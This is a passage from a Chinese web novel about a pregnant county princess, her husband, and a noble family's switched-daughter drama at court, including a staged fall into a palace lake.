看苏青哭的鼻子发红,小脸蛋都瘦了很多,她闪过一丝戾气,“去把严夫人叫来。”
严氏急匆匆赶来,她刚刚回府才知道苏青闹着要走的事情,看养女哭成一团,她的心咯噔一下。
满脸心疼地走过去,把她拉到跟前,“我的青儿怎么了?你这是要做什么?。”她看到丢在一旁的小包袱,眼泪飚了出来。
“你……你要舍了娘,舍了你祖母,舍了这个家吗?你好狠的心”严氏手指的轻轻颤抖着,好像收到了很大的打击。
“是不是月丫头说了什么逼走你的。”提到自己的亲女儿,她眼中闪过一丝厌恶,“她在外养了一身的臭毛病,野性难除,你别理她,这个家还轮不到她说话。”
苏青急的连忙摇头,这事情和苏月有点关系都没有,严氏最后的话也让她无地自容,要不是因为自己鸠占鹊巢,苏月又怎么会长在乡野。
“娘,你别这样说,月妹妹很好,她聪慧明理,还有一身的好医术,她是个能让爹娘骄傲的女儿。”
要是她听到自己的亲身母亲这么嫌弃,她该多么伤心。
老太太一外地看了一眼严氏,嘴角抽动了两下,很快又移开了。
严氏温柔地给养女擦着眼泪,哄着她道:“好,娘听你的,以后不说她了,那你也不能闹脾气说什么离家了,你要是走了,你父亲从外地回来定然要发怒的,他可最疼你了。”
她的手轻轻摸过苏青的眉毛,这眉长得真好,真像!严氏眼底带着丝丝怀念。
老夫人:“你要是再说什么走,我只能把你关在家里了,吩咐门上不能让你出门一步。”
苏青知道自己是走不成了,她低头思索了一会,“我不走了,但我想搬出这院子。”
严氏:“你是不喜欢这里?嫌弃这里不好,要是哪里不喜欢了让人来改了就是。”
不,不是不好,是太好了,她住的心虚,这院子应该有她的真正主人,苏月住进来才是真的慕月院。
老太太转头盯向严氏:“她想住这里?”
“没……没听她说过,我让人给她安排了好了住处。”
苏青连忙解释:“不关月妹妹的事情,是我自己让还给她的。”
老太太:“傻孩子,这本就是你的院子,你是院子唯一的小主人。”
苏青不敢强硬的要搬,祖母和母亲好像对苏月有很大的偏见,不管她是想离开,还是想换院子,为什么她们第一时间怀疑是她做了什么。
这让苏青更是不安了,她好像是横亘在苏月和家人之间的那根刺,还是等父亲回来,她再求求父亲吧。
今日窦绍难得有时间,非要黏着陪卫姜,卫姜坏笑着应了,让他在窗外弹了一下午的琴,美其名曰胎教。
最近肚子里那小肉球动的厉害,卫姜觉得铁定是个儿子,只有窦绍还在苦苦挣扎,说不定是个比较皮一点女儿呢。
所以卫姜让他弹琴,他觉得这主意很不错,就当提前给女儿陶冶性情了,说不定出生后就文雅很多呢。
刚开始房里还有动静,等他弹了小半个时辰,屋里只有呼呼地声音了,他轻笑了一下双手按住了琴弦。
下人过来帮他把琴收走,而他自己则进了内室,果然不出他所料,卫姜歪倒在临窗软榻上,就这么靠着,显然是不舒服的。
他轻轻地把她腿摆正,忽然他的手就顿住了,隔着轻薄的衣裳,他很清晰地看见一个小脚印,他的手轻轻地贴在在她刚踢过的地方,等着她的第二次动作。
这一次,他感受到了,他怔住了,他的手心里还残留着温热的触感,还有那小小软软的力道。
“你在跟爹爹打招呼吗?”窦绍低下头,贴近肚皮。
声音从他头顶传来:“我只知道你在吃我豆腐。”
是卫姜醒来了,窦绍有些尴尬。
她一把搡开他的手,很是无语:“还打招呼,再来几次,他都要把我肚皮踢爆了。”
“很疼吗?”
卫姜白了他一眼,“你说呢,敢情不是你肚皮是吧。”
窦绍被嫌弃,也只能装憨傻笑,捞过一旁的蒲扇献殷情:“夫人辛苦。”
明明已经进入秋日,可躁热的卫姜依旧离不开这蒲扇。
“你在睡一会,我给扇风。”
窦绍靠坐在一旁,卫姜吸了两下鼻子嗅了过来,他整个人僵住不敢动,他能感觉到衣袖轻轻滑过她的肚子,她越凑越近,整个人都快滚进他怀里了。
他松了扇柄,双手微微拢起,想要从背后环住她。
“你换香了?”卫姜狠吸了两下鼻子。
窦绍以为她是闻不惯,自
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己闻了两下肩侧,是有淡淡香味,自从她有身孕后,他身上就没有用过熏香了,连荷包都不敢用了。
“挺好闻的,什么味?”
窦绍松了口气,还以为她是不舒服,只见卫姜捞过他的袖子盖在脸上闻。
他轻笑一声,把她搂近一点,“这香不都是你安排的吗?你要是喜欢闻,明日让人也给你熏这香就是,少熏一点。”
她安排的?卫姜恍然,那就是长佩安排的了。
“自己闻自己闻不到。”
窦绍懂了,“嗯,那我熏。”
过了一会儿,卫姜又说话了:“好像睡饱了。”她没有睡意了。
她侧身看向他,双眼异常有神,“最近有没有新鲜的事情?”
还有一两个月就要生了,如今没人敢请她出门了,她在家里闷的无聊,每日都要窦绍给她说外面的新鲜事。
窦绍如今除了处理好公事,还要兼职锦衣卫留意各方的消息,前者是为皇帝分忧,后者是给县主解闷。
“没什么大事,不过关于苏大小姐的流言少了很多,应该是苏家出手了。”
这个时候出手也晚了,如今全京城的人都知道她苏青身世了,也不知道这次又是谁做的。
“哦,对了,还有一件事,信王让准备请职迎娶苏大小姐,不过被贤妃拦住了。”
卫姜腾地起身,身子重没反应过来,一下子就压到窦绍身上去了。
她抬起头,看着他的眼睛一个字一个字道:“麻烦您以后把大事放前面。”
这还不是大事吗?这剧情是偏到哪里去了,男主不是应该喜欢上女主了,准备娶葛月吗?
“你确定是苏青,不是二小姐葛月?”卫姜确认道。
窦绍双手虚扶着她的胖腰,轻轻点了点头,香甜的气息喷洒在他的鼻尖,他不敢开口,怕冲撞了她。
卫姜得到答案,侧身滚下,转到一边啃食指。
难道是她促进了剧情了的发展,男女主感情还没到位?不应该啊。
……
“你说什么?”葛月不可置信地看着眼前的年轻人,眼中隐隐有些湿润。
信王还没有见过她这么失态的时候,急的有些手足无措,“你怎么了?”
“你要娶她?连你都站在她那边,你也觉得我比不上她,你喜欢她?”葛月逼近一步
信王有些愣住,没想到她会这么激动,“你……你怎么了,你别激动,我也不是喜欢她,我只是觉得这个时候若我也退了这门婚事,岂不是更伤害她,她毕竟是你的姐姐,我早点娶她也可以早点息了这京中的流言。”
“她是我哪门子的姐姐,你怕伤害她,那我呢?我算什么?你娶她,那我呢?”葛月大声质问着他。
信王呆楞当场,明白她说的是什么意思后,有些惊讶:“我……我,你是我的救命恩人,是我最好的朋友,我……我没想过这个。”
见他那个样子,葛月还有什么不明白的,她自作多情了,他不喜欢苏青,也没喜欢她苏月。
她就好像个笑话,她那么拼命地查身世,是为了什么,不就是为了配的上他吗?
可他从来没想过,他不喜欢她,没想过娶她,他甚至宁愿娶苏青,又是苏青!
为什么她总是输给苏青。
“好,我明白了。”葛月红着眼深深看了他一眼,然后转身离去,泪珠飘洒下来,其中一滴掉到了信王的手上。
淡淡温热忽而变得冰凉,他上前追了两步,又颓丧地停了下来。
他……他真的从来没想过嘛,阿月是他的救命恩人啊,他娶她那还是报恩吗?
皇室的婚姻都是衡量,他从来不觉得给她王妃之位是最好的报答,她不应该被困在王府,她该自由自在地翱翔,做一只幸福的小鸟。
是他错了吗?信王低着头看着自己的手,那滴泪珠已经干涸了。
27. 第 27 章
九月初十是皇后的千秋节,皇上在宫中设宴为皇后庆生辰,这样的日子卫姜自然要出席。
皇上心疼她还专门派了软轿一路把她接进了内宫,还收拾出一个偏殿给她休息,看的众人羡慕不已。
太后见贤妃撇嘴,眼神严厉地瞪了她一眼,皇上要看重谁,她们只有笑着奉承的份,如何还能摆脸色。
别说卫姜是皇上的外甥女,身上有着县主的封号,就是什么都没有,依着窦绍如今在皇上心中的地位,宫中也要礼遇她。
“阿姜快过来”太后笑着招手让她坐在身侧,“可见过皇后了?”
“刚给娘娘拜过寿。”
太后拍着她的手,“那就好,你肚子大了不方便也不用去前面等,等下和哀家一起过去,快生了吧,稳婆乳娘可都备好了?要是还没有,我让皇后从宫里给你找几个过去。”
她生长子还是十多年前,当时的情形她怕是早忘了,如今就当是头一遭那样来。
“窦绍都……”
见太后笑眯眯看着她,卫姜立马意识到不妥,换了话:“夫君已经让人都准备好了。”
贵妃在旁笑着道:“窦大人对县主体贴,这是县主的福气,我看县主这肚子尖尖的,定然是个大胖小子。”
这就大可不必了,卫姜都快笑不出来了,可别乌鸦嘴了,谁不知道胖小子不好生,她还想留着条命回家呢。
“哀家也觉得像。”宫里已经太久没有过小孩子了,太后是个喜欢孩子的,自然对卫姜的肚子又多了几分好感。
宫里的女人各个都盼着生儿子,太后自然也不例外。
卫姜:“夫君说想要个女儿,我觉得儿子还是女儿都好。”
贵妃笑道:“是这个理,儿女双全多少人想要的福气。”
太后:“是,你们夫妻生出来的女儿定然是个漂亮极了的。”太后都迫不及待想看看漂亮的女娃了,“这胎不是,你再生一个就是。”
好嘛,都还没生就催上了。
卫姜求救似地看向贵妃,贤妃那脸色定然是不会救场。
贵妃捂住嘴在笑,知道卫姜尴尬了,点头,转头提醒太后时间差不多了,她们该去宴席了。
一行人起身,贵妃先走一步,卫姜见贤妃磨蹭着不动,猜到她可能要和太后说什么话,便借故更衣,让她们先走。
她还带着长佩绕了一圈,没想到就这么巧,又碰到贤妃和太后了,不过没见到面,隔着一道花墙,她只是和她们的声音巧遇了。
“苏家既然不合适了,你今日趁着宫宴再瞧瞧有没有别的合适人选。”
贤妃没有出声,卫姜判断不出她是点头还是没说话,正要走开,太后又继续说话了:
“可惜卫姜这一代没有合适的女孩,不然配信王最合适不过了。”
这话贤妃可太不赞同了,“姨母,卫家的女儿怎么能行。”她一急倒把以前的称呼抬上来了。
“因着那县主名声,谁家还敢娶卫家的女儿,谁不怕娶回去一个搅家精,怡宁县主在京城都嫁不出去,只能远嫁了,如今这一辈听说有个庶女,听说至今都没人敢上门议亲呢,就怕像她姑母一样跋扈蛮横。”
太后无语地看像侄女,“这么多年你这脑子半点不长,人云亦云,怡宁县主那不是远嫁那是随夫外任,她嫁的是通州大族,阿姜以前是性子不太好,京城那些眼红她的人就传出来些不好听的话,卫家是大族,家里教养是还是不错的,何况又不是所有卫家女都有卫姜的底气,也不是谁都能蛮横跋扈的。”
贤妃听着这话越来越不对,怎么太后还有点为卫姜骄傲是什么意识,女子以柔顺为佳,那卫姜怕是比公主还凶悍。
“你以后少说点卫家的是非,我看皇上重用窦绍,也有要重新启用卫家的心事,别给信王惹事。”
太后的话让贤妃颇为不忿,“京中又不止一个国公府,苏家难道不比他们家好。”
太后冷笑一声:“是很好,可惜了,如今弄出了真假千金,你是要娶个乡野出身没教养的真千金,还是将错就错把那个假大小姐娶回来?你是想让全京城的人都来看信王府的笑话。”
贤妃都不想选,她满肚子怨气,本来儿子的婚事都要定了,这下好了,又要重新来:“苏家也真是的,自己的孩子还能弄错了。”
“这苏家是有些奇怪,你也抓紧时间给信王早点定下来,免得后面又扯出麻烦事?”
“苏家难道还敢……”
后面的话贤妃声音低了下去,两人也走的有些远,卫姜听不清了。
她站了一会儿,确定周围真的没人了,她和长佩才离开。
“刚刚听到的话都忘掉。”
长佩强装镇定,小心扶着卫姜,可手不自主地有些颤,卫姜安慰他:“没事,不与我们相干。”
宫里要重新考虑信王和苏家的亲事这是很正常的事情,本来互相默契地按下不提,处理的悄无声息最好,可信王却主动提起要和苏青成亲。
不管他是发病还是早就喜欢上苏青了,为了杜绝他的心思,宫里都会很快给他定下一门亲事。
只是不能让人发现卫姜知道了太后和贤妃的打算,以后万一传出点什么,都不好脱身。
明面上宫里也不能做出毁约的事情来。
所以卫姜不能让人看出有什么异样,早知道刚刚应该早点走的,都是因为她们提到了卫家,她就多听了几句。
她又带着长佩沿着太液池绕了半圈,经过花园子的时候,听到里面有一群人在说话,听声音都是些小姑娘,可说的话就比较难听了。
昔日不可一世,京城第一人的贵女原来是个野种,是个奴仆贱人的孩子,那些被苏青压了十几年的人,可不得好好笑话下。
也不知道她们是从哪里听来的那些刻薄恶毒之语,一个比一个说的难听。
不远处一道身影黯然地离开,那是苏青,她眼神无光,脸色苍白,还有什么比昔日亲密小伙伴的背后诋毁更让她伤心呢。
卫姜原不准备插手的,可离开的那个样子让她心里有些不好受,她顿了一下,转身走了回去。
廊下有人看到卫姜来了,连忙拉了拉旁边还在说话的人,这些女孩子毕竟年轻,被人抓到背后说人,她们脸上有些臊的慌。
“见过县主。”
卫姜撑着腰走了两步,然后才让她们起身,眼神扫过她们身子,“你们正是花一般年纪,应该天真烂漫,一个个长得这么漂亮,嘴里怎么能说出那么恶毒的话,说的还是你们从前的小姐妹。要知道这里是皇宫,你们的一言一行都被人看在眼里,难道只顾着诋毁她人,连自己的前程也不要了。”
宫里多贵人,要是她们的品行受到了质疑,那只怕她们会比苏青还惨,几个胆子小的已经软塌了下来,全靠旁边的人强撑着让没有失态。
有几个胆量还行的,强撑着道:“县主明鉴,我们并没有说苏大小姐什么是非。”
卫姜笑着看她,“可你们也没有阻止啊。”
那人脸色一黯,见她们都吓的不轻,卫姜也见好就收:“行了,这次就算了,前面宴席也快开始了,快去吧。”
女孩子如遇恩赦,连忙要走,却又被卫姜叫住了,她们僵住了脊背,腿有些发软,也不知道县主是不是要罚她们。
“最后多说一句吧,没有了解清楚一件事情前,还是不要妄加议论,还有,背后说人是非总是不好的,难道你们以前的情谊就全是假的,见人家出事就定要踩上一脚才显得自己高贵?”
这话一出,有些人神色
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讪讪,有些人怅然若失,有些人不以为意。
“你过来。”
卫姜这话一出,卫巧珍低着头不敢动,她前面的苏妍连忙拉开两人距离,飞快的跑了
卫巧珍怯弱弱地看了她一眼,“县主。”
卫姜示意她跟上,卫巧珍走在她后面一个,和长佩并排,不知道的人还以为是卫姜的丫鬟。
“你怎么在这里?”
卫巧珍想到刚刚卫姜发火,有些害怕,努力为自己辩解:“我是被苏家三小姐拉过来的,她们说苏大小姐小姐的事情我有阻止过的。”
可惜她是个庶女,人微言轻,没有人听她的,甚至还讥讽她,且就连苏妍都不敢开口说话,她也就没在出声了。
“你以后离那个苏家三小姐远一点吧,别和她玩。”卫姜记得,那个苏妍好像好几次都为难过她,怎么还能跟人家玩一起。
想到刚刚贤妃说起卫家的事情,难道卫家女孩子真的这么遭人排挤?
“家里给你说亲了吗?”
话题忽然转到这个,苏巧珍有一瞬间的愣,下一刻脸羞的通红。
看样子是没有了,难道真的被原主的名声连累了?她要不要做些什么弥补一下?
她这近一年来改了很多了,好多人都说她变了,难道名声就没有变好点?
“你们私下都是怎么说我的?”
看她们刚刚那议论人的熟练样子,这事没少干,也不知道她们背后是怎么说她的。
谁知卫巧慧被吓住了,眼泪在眼眶里打转,“县主,我再也不敢了。”
一副要哭的表情,吓的卫姜连忙摆手:“行了,行了,我就随便一问。”
随便问问,让卫巧慧差点要跪下,县主果然还是不好惹,那些人可能真的说的有道理,县主并没有改变,还是一样的坏脾气,只是她变的聪明了,懂得藏起来。
“姑姑。”
一道清脆声音传来,紧接着一道身影就要扑进卫姜怀里,却被卫巧慧先抱住了。
“县主有身孕了,你别莽莽撞撞的,冲撞了如何是好?”
卫巧云吐了吓舌头,讨好道:“姐姐我知错了,我太想姑姑了吗?我去外祖家好久好久,久到我都想姑姑了。”
小丫头十一二岁,正是卫姜大哥大嫂的幼女。
“姑姑也想你了,不过你姐姐说的有道理,可不能再跑起来了,等下你娘看到了又要教训你。”
卫巧云拉着卫姜的手赖在她身侧,“我就知道姑姑最疼我了。”她好奇地看着卫姜的肚子,试探伸手道:“我能摸摸弟弟吗?”
卫姜笑了,挺了一下肚子,大方道:“摸吧。”
卫巧慧笑着看向妹妹,眼底闪过一丝羡慕。
皇后在坤宁宫宴请内外命妇,菜色看着不错,不过很多都是冷的,卫姜只吃了几口,半个时辰后,那些小的先坐不住了,皇后便命人撤了宴席,年轻姑娘们可以去园子里玩,年纪大的可以去偏殿喝茶。
十二岁的卫巧云正是好动的时候,她缠着娘陪她去放花灯,偏偏宋氏又被太后叫去说话,卫巧云噘嘴不开心。
卫姜:”走吧,姑姑陪你去。”
卫巧云脸变得很快,高高兴兴地来牵姑姑的手,还对一旁呆楞着姐姐道:“走啊,姑姑带我们去放花灯,我要选个最漂亮的。”
太液池全是人,不但只有女孩子,还有男孩子,看起来好像个大型相亲现场,难怪那些长辈不愿意来。
卫姜挺着个肚子不敢离人群太近,只吩咐人跟紧了卫巧云姐妹,她自己坐在一旁亭子里等,只不过一盏茶的时间,太液池就出事了,有人叫嚷着有人落人了。
见到卫巧云的身边的丫鬟惊慌朝这边跑来,卫姜腾地站起来,顾不上肚子朝那边快步跑去。
28. 第 28 章
“姑姑,你慢点。”苏巧慧见卫姜急成那样子,连忙把她扶住了。
苏巧云一脸害怕地抱住姐姐的手不放,见姑姑来了,她有些想哭。
“怎么回事?”
卫姜朝池里看,那人刚刚落水,有人伸手去够,却够不到。
“姑姑,我……我不是故意的,我不知道。”苏巧云很害怕
苏巧慧脸色也很难看:“姑姑,妹妹闯祸了,好像把苏家小姐挤到水里去了。”
如今是秋季,这边围着的都是弱质女流,太监们带着竹竿朝这边来,那边潞王和信王也朝这边走来。
卫姜看着在水里挣扎的人,只能看到一个头,不清楚到底是苏家的哪位小姐,,“快,救人啊。”
再这么下去,那人该没有力气了,会沉下去的。
要不是大肚子,她就自己跳下去了,这些人就知道尖叫,就没有一点办法吗?
“县主,你离远一点,小心别被挤着了。”身旁的长佩把她往后拉了一下
卫姜正要骂她这个时候了,还说这种话,谁知还没来的急,就见她扑通跳进河里,一个猛子就扎到了落水之人的背后。
她从背后把落水之人托起,人不在挣扎后,她就准备朝岸边游去。
“长佩姐姐好厉害。”卫巧云惊讶道
是啊,好厉害又专业,没想到她身边还有高手呢。
信王见人被救起,又把自己脱下一半的外衣穿好,他笑着对潞王道:“看来不用你我了。”
潞王看向对岸,点头道:“是啊,这样也好,省的三弟下水了,也不知道落水的是谁?”
“这不是苏二小姐吗?”
“是苏家刚认回来的那位吧。”
“是她,我见过。”
对岸议论的声音传了过来,信王本来已经准备返回,听到是葛月连忙朝对岸跑去。
潞王眼神中闪过失望。
真可惜!
寿辰出了这样的事情,皇后脸色有些不好看,面对宋氏的请罪,她也只是轻描淡写道:“她一个小孩子你也别怪她,是苏月那丫头自己没站稳,又不是没见过花灯,看的太入神,这么大人还落水了。”
宋氏愧疚地看向葛月:“二小姐,实在是对不住。”她推了一把女儿,“快,刚刚怎么说的,给苏家姐姐道歉,都是你顽皮,要是你苏家姐姐出了什么事,我看你的皮是保不住了。”
卫巧云眼含泪水,哭的有些凄惨,也不知道是被吓的,还是真的怕了,她朝葛月端正地行了个大礼:“苏姐姐,对不起。”
葛月不知道是不是被刚刚落水吓住了,整个人都有些迟钝,“没关系,不是你的错,娘娘说的对,是我没留神没站稳才掉下去的。”
卫巧云听了这话看向母亲,宋氏摸了摸女儿的头,对葛月很是感激,自家女儿虽然还小,但过个几年也要谈起婚事了,这话说出去也就难听了,葛月这话是在维护自家女儿。
不管是顺着皇后娘娘的话说,还是看在是自家小姑救人的份上,这份情卫家都领了。
“二小姐是个心善的人,以后会有福报的,你安心修养,过几日我再去府上探望。”
宋氏转向一旁的严氏,“严夫人又得了一个体贴善良的女儿,真是好福气。”
严氏嘴角的笑容有些勉强,“这孩子也不知道冲撞了什么,我倒是希望她安分,不惹事就好。”
这话说的有些过了,不过这是苏家的事情,宋氏也不好插嘴,离开前她对着葛月温和笑了一下,这才带着两个女儿离开了。
卫姜见气氛有些尴尬,也跟着离开了。
“既然你没事了,那我们也回去吧。”严氏冷着脸对葛月道,吩咐人进来帮她穿戴。
皇后拉了严氏走到一旁,“苏家既然认了这个女儿,你也要严加管教,把那些轻浮的歪习都纠正过来,你自己也要多花点心思教教她,不求她像苏青那样优秀,一半也足以。”
严氏强忍着嫌弃点头,皇后叹了口气,小声道:“都是你造的孽。”
严氏羞愧地低下头。
两人说话声不大,可葛月却能很清楚听到两人对自己的嫌弃,她紧紧咬住嘴唇,铁锈腥甜的味道布满口腔。
严氏走的很快,葛月被两个丫鬟扶着走在后面,刚出坤宁宫就看到两个人。
信王见她出来了,忙走上前问候:”如何?怎么不多歇一会,我让人找个软轿送你们回去吧。”
苏青连忙上前想要帮忙,被葛月拦住了,“不用,我可以自己走。”
“我送你回去。”
葛月抬眼看向他整齐的衣襟,眼神有些幽暗,“不用了,殿下回去吧,我就是被吓了一下,身子没什么事。”
“青儿,时辰不早了,我们快点回去。”严氏催促着养女,一个眼神都没有给葛月。
信王有些为葛月抱不平,“你要是在苏府住的不开心,不如还是搬回王府吧。”
他觉得严氏好像不太喜欢这个亲生女儿。
葛月觉得有些好笑,也真的笑出来了:“那是我家啊,住在自己家怎么会不开心。”
“那就好。”信王看像已经走了一段距离的严夫人,想了想开解葛月道:“你毕竟刚回来,和家人相处不久,慢慢的他们就喜欢你了,人只长了一颗心,长辈们对喜欢的人难免会有些偏心了,我们把心放宽些,也就觉得没什么了。”
葛月低头不知道在想什么,过了一会她问道:“你现在是把心放宽了所以觉得舒心吗?”
信王愣了一下,然后挠头笑道:“我很好啊,如今是皇子,以后是富贵亲王,这样的日子我觉得很舒心啊。”
葛月却觉得他在强撑,他是皇上的第三个儿子,太子是皇上最看重的嫡子,潞王的母妃是贵妃,母家势大,潞王本人温和宽厚,是皇上最省心的儿子。
只有信王,虽是幼子却没有得到太多宠爱,至今皇上都没有让信王进入朝堂。
和两个兄长比,他是如此被忽视,他真的觉得没什么?
还是说他看开了。
可凭什么他们要开看,她凭什么要认命,凭什么就一定要等着别人的怜悯与恩赐!
“我们会过很好的。”她会帮他,帮他成为最优秀的皇子,成为皇上最倚重的皇子,就如她会是苏家最优秀的女儿,让那些轻视她,嫌弃她的人都后悔。
权利,这是世上最迷人的东西,它让所有人趋之若鹜。
再不堪的人,只要站在高位,谁也不敢轻视,就如卫县主,背后有皇室撑腰,她那位高权重的丈夫尚且服服帖帖,别人就不敢多言了,只要她出现的场合,谁不是对她笑脸相迎。
哪怕在宫里,她都能横着走,不就是因为她得皇上看重,谁也不敢轻视。
葛月眼中闪过坚定,终有一日,她也会让所有轻视她,嫌弃她人拜服在她的脚下,别人给不了的公道,她要自己讨回来。
宫墙外,薛绍已经等了好一会儿,要是卫姜还没出来,他就准备直接进宫接了。
“苏国公,今日孩子顽劣让令嫒受罪了。”
看卫姜大肚子,苏国公脸色不好也只能宽宏大量道:“还好没出什么大事,今日是小女,皮厚只是受到点惊吓,改日是她人那就不好说了。”
眼看窦绍脸色不好,他转了话头,“这事怪不到县主头上,我只找卫啸说事,就不耽搁县主了。”
卫啸是卫姜的兄长,苏国公倒是正常疼孩子的父亲,
他往后让了一步,卫姜讪讪,在窦绍的搀扶下上了马车。
“严夫人她们出来了。”长佩在窗外轻声道。
卫姜掀开她那边的帘子朝宫门看去,苏国公已经快步迎了上去。
“青儿怎么样?有没有被吓到?”
苏青被问懵了,半响才反应过来,父亲应该是误会了,她有些尴尬地朝葛月看去,然后对苏国公道:“父亲,不是我,是月妹妹落水了。”
苏国公只听到下人说苏家小姐落水了,第一反应以为是苏青,他的眼光看向披着斗篷的葛月,脸上关心的神情收了些,问道:“有没有事?”
“我很好,谢谢父亲关心。”
苏国公淡淡问了声嗯,然后转身朝自家马车走去。
葛月低着头,紧紧握紧拳头,尖锐的指甲深深刺进手心里,只有这样的疼才能让她迈起步子。
苏青去陪严夫人了,这辆马车只有她一人,没有了外人,她能放心地发泄情绪,她把手指塞进嘴里咬住,这样她才不会放声大哭。
为什么,她到底做错了什么,明明错的不是她啊,她才是被害的那个,为什么父亲母亲对她如此冷淡,疏离,却反而去心疼那个假的。
这世上最亲的不是血脉至亲吗?
“小姐,你别难过。”侍女带着哭音,心疼地去掰她的手,轻轻地吹着她手心的伤口。
“我不难过,我也不在乎了,他们不要我,我也不稀罕他们。”葛月发狠道。
她会有自己的家,她不需要这些人所谓的疼爱,她要他们来求她!求她认苏家,求着她亲近苏家。
那侍女想说什么又没有说,只是一脸怜悯地为她包扎。
马车一路行驶,卫姜幽幽叹了口气。
窦绍奇怪地看了她一眼,她往这边靠近了些,“苏家为什么这么对葛月。”
就算有什么内情,可既然认了她,为什么又处处这么疏离,好像是被逼着认亲的一样。
“你很同情这位苏二小姐。”
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卫姜:“不值得同情吗?她带着满心的欢喜和期盼来京城查找身世,如今找到亲生父母了,可他们却对她疏离冷淡,甚至处处看重那个假女儿胜过她,这还不可怜吗?”
窦绍口气平淡道:“那定是她这人有什么地方让他们喜欢不起来。”
卫姜打量着他,狐疑道:“你好像也对葛月有意见,你说的完全是受害者有罪论,今天她落水了,差点被淹死哎,父母亲人一个个表现的那么漠不关心,这要是我,我肯定发疯。”
窦绍被她话逗笑了,她还记得怎么发疯吗?学的像吗。
“她不会淹死的?”
卫姜:“幸好长佩水性好,不然谁说的准,太液池又不是没淹死过人。”
窦绍瞥了她一眼,笑了,“人家可不一定谢谢你们的救命之恩。”
卫姜:“什么意思?”她凑近盯着他的眼睛:“你查到什么了?”
他和她鼻息交互,唇与唇的距离不过相隔一指,他咽了下喉咙,把头往后仰了一下,怕吓到她。
手按住她坐好,这才道:“不用查,合理猜测了一下就清楚了。”
“麻烦窦青天给本县主说说怎么猜测的?”
这揶揄的口气,让窦绍偏过头去,卫姜见他还在卖关子,伸手把他下巴拖了过来。
两人四目相对,一时愣住了,这……好像有些纨绔调戏人的手段。
卫姜脸红了,不自在地缩回手。
窦绍下颌处还有她温热指尖留下的触感,可想到她这下意识的动作,他黑了脸:“话本子你还是别看了,小心教坏我女儿。”
“我看的是正紧的书。再说了,谁让你卖关子,我就是想把你头抬起来。”就那么顺手就把他下巴勾起来了。
她看的都是神神叨叨,什么仙人秘闻之类的,她就是想看看能不能找到回去的办法,总不能真的就靠走剧情吧。
可又不能说!卫姜瞄了他一眼,问道:“还说不说了?”
解决尴尬的最好办法就是转移话题
窦绍:“你应该听说过葛姑娘救过信王。”
卫姜点头,这她自然知道。
“信王是落水失踪,葛姑娘是把昏迷的他从河中救起的。”窦绍见她还没反应过来,继续提醒道。
卫姜点头,等着他继续说,却见窦绍看向车外,她忽然脑子灵光一闪:“你是说她会水。”
可……可今日她落水挣扎的样子可不像是会水的。
窦绍:“我之前去查过,据葛姑娘说当时信王倒在沙洲上,我看过,那地方四面临水,周围也没有小舟,要把一个昏迷的人拖上岸,那人的水性必然不差。”而当时只有葛月一人在场。
“那她为什么要装作落水呢,迟迟不上岸。”难道是为了陷害卫家,毕竟当时她身边站着卫巧云。
窦绍:“这就不知道了,也许是意外也许是精心设计,但我想应该是后者。”
卫姜瞪大了眼,等他继续说。
“信王不是来了吗?”
卫姜张了张嘴,反应过来:“她是等信王救她?”
窦绍点头,当时只说是苏家小姐,可不管是大小姐还是二小姐,信王都必然会下水去救,这一救,最好的收场就是成婚。
“她不会的,她不可能这么做。”卫姜摇头,这不是女主的行事作风,她怎么会算计信王嫁给他,信王舔她还差不多。
“你好像很了解她。”
卫姜结舌:“我……我就是觉得她不是这样的人。”
“也许她并不是你认识中的那种人,你未免把她看的太好了些,为了利益出卖一些东西也不奇怪。”
葛月也不是第一次出卖人了,上次不久把她出卖了吗?
窦绍目光看向她的肚子,嘴角含笑。
“宫里要重新为信王选妃了,她动作不快些还怎么套住信王。”
卫姜惊住了,她也是今日偷听墙角才知道太后和贤妃的打算,他是怎么确定的。
“皇上告诉你的?”
窦绍看傻子一样的眼神,卫姜挡住了他的目光,“行,我知道了,你又是猜的。”
老谋深算的神棍。
窦绍拉下她的手,轻轻亲了手心,“你离这位葛姑娘远一些吧,她行事无所顾忌了些。”
且她身后应该还有人在帮她,不管目的如何,窦绍总觉得是敌非友。
卫姜觉得手心烫的要着火了,什么也没听进去。
他怎么能亲她的手,不知道很暧昧吗!
她把手在衣裙上狠狠擦了两下,红着脸逃也似的下车了。
窦绍背着手下了车,看着她落荒而逃的背影心情很是舒畅,原来调戏人是这么心情,难怪她总这么对他。
29. 第 29 章
窦家今日来了贵客,襄阳郡主上门来看女儿了。
不过用她的话说,她也不是专门来的,只是去完苏家顺道过来的。
母女俩都有些过分好强,宋氏也很是无奈,吩咐人把带来的补品药材都拿下去,又让儿子女儿过来拜见姑姑。
卫巧云最近有些怏怏的,瞧着没有以前那么好动爱笑了,卫姜摸了摸她的头,”怎么不高兴,我让人带你去园子里荡秋千好不好。”
卫巧云先看向母亲,然后笑着点头了。
卫贺上前道:“姑母,我陪妹妹去吧。”
他一个男子守在这里听她们说话,实在是难熬,还不如去给妹妹推秋千。
襄阳郡主发话:“行,你也去吧。”
卫贺拉着妹妹就去了后院,宋氏开口问道:“景哥儿什么时候回来?”
“差不多了,上次说旬考后就回来。”
襄阳郡主对外孙不在家很是不满,“这好端端的送去书院做什么,哪里读不了书,窦绍难道还教不了儿子读书,还有那个窦绍也真是,你都快要生了还不让儿子回来,他去上朝忙公务,这家里可就你一个,多不让人放心。”
这倒不是窦绍的锅,他也提过让窦家大夫人或是三夫人来陪她一段日子,或者请娘家人来小住也行,是卫姜不愿意。
而且窦景明年就要下场,卫姜也愿意耽搁了他。
卫家是勋贵武将之家,襄阳郡主也是贵女出身,自然不懂读书科考之事,她以为读书不过就是把几本书背熟而已,宋氏来自读书人家,自然比她更清楚这个时候窦绍为什么把儿子送去书院。
见小姑面色有些尴尬,她打圆场道:‘相比妹夫太忙也没有时间指导景哥儿读书,我听说西山书院的院长可是一身学识,多少人想跟着他读书都没有门路,妹夫当初也是跟着他读书,你看如今多有出息。“
襄阳郡主一听立马来了兴趣:“既然如此,不如让贺哥儿也过去读,我看他跟着柳翰林读了几年也没读出什么明目来。”
这下轮到宋氏尴尬了,这个柳翰林还是她托娘家大哥给儿子找来的,而且儿子如今虽然算不上读书种子,但总比他们卫家其他人强吧,卫家其他人也就勉强不做睁眼瞎。
卫姜嘴角抽了抽,她就说原主那胡搅蛮缠的性子肯定有根,这不,找到了。
“人家院长也不是什么人都收的,过了举人科才够格拜入他门下,我听说贺哥儿跟着柳翰林学的很好,明年是不是也要下场了?”她转头问大嫂宋氏。
宋氏笑着点头,一脸为儿子骄傲,她有两个儿子,大儿子有爵位承袭,前途倒是不用愁,还有他父亲能在军中为他托一把。
